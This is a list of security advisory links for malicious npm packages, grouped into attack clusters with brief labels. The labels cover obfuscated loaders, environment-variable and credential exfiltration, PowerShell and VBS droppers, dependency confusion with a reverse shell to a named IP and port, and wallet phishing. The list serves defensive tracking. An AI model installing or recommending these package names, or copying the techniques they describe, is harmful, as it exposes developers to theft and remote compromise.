• GHSA-99j2-pxrq-hpqc - npm hardhat-roof (Cluster C - pino-impersonator jsonspack obfuscator)

  github.com
  GitHub
• GHSA-2hcg-vv96-p63m - npm hardhat-plus (Cluster C - pino-impersonator jsonspack obfuscator)

  github.com
  GitHub
• GHSA-5hx2-mp3m-4gr6 - npm chai-as-testmode (Cluster C - pino-impersonator jsonspack obfuscator, process.env exfil)

  github.com
  GitHub
• GHSA-4c6x-w3wj-2cr2 - npm lite-matte (Cluster D - 4444.vbs ChaCha20 PowerShell loader)

  github.com
  GitHub
• GHSA-294m-x97c-p7xh - npm lite-mater (Cluster D - 4444.vbs ChaCha20 PowerShell loader)

  github.com
  GitHub
• GHSA-6p6v-j47j-wgcr - npm lite-matterr (Cluster D - 4444.vbs ChaCha20 PowerShell loader)

  github.com
  GitHub
• GHSA-j79g-9wmp-mcv8 - npm studiocode_tools (Cluster D - 4444.vbs ChaCha20 PowerShell loader)

  github.com
  GitHub
• GHSA-chvh-489x-9963 - npm studiocode_eligibility (Cluster D - 4444.vbs ChaCha20 PowerShell loader)

  github.com
  GitHub
• GHSA-gh38-mqx9-5mxf - npm @kibt/www-nuxt-i18n (Cluster E - dep-confusion with sentinel versions)

  github.com
  GitHub
• GHSA-wp69-7q5m-655v - npm internallib_v275 (Cluster F - dep-confusion reverse shell to 10.0.49.106:443)

  github.com
  GitHub
• GHSA-9q5r-qjph-hpr8 - npm monitoring-agent (Cluster G - Express credential-exfil middleware)

  github.com
  GitHub
• GHSA-3rx7-3cx7-x3hv - npm promises-dotenv3 (Cluster H - steganographic VBS dropper)

  github.com
  GitHub
• GHSA-g7w2-c843-wqvj - npm oleh-modal (Cluster I - wallet-connect phishing + macOS credential theft)

  github.com
  GitHub
• GHSA-w8c4-4fjc-rg48 - npm ultimate-websocket (Cluster J - tarball-URL RCE)

  github.com
  GitHub
• GHSA-5q2j-22rc-7634 - npm core-js-gnz (Cluster K - postinstall Python-stage payload)

  github.com
  GitHub
• DependencyWatch: pypi anthropic-sdk typosquat (SPLIT OUT from this sweep)

  dependencywatch.io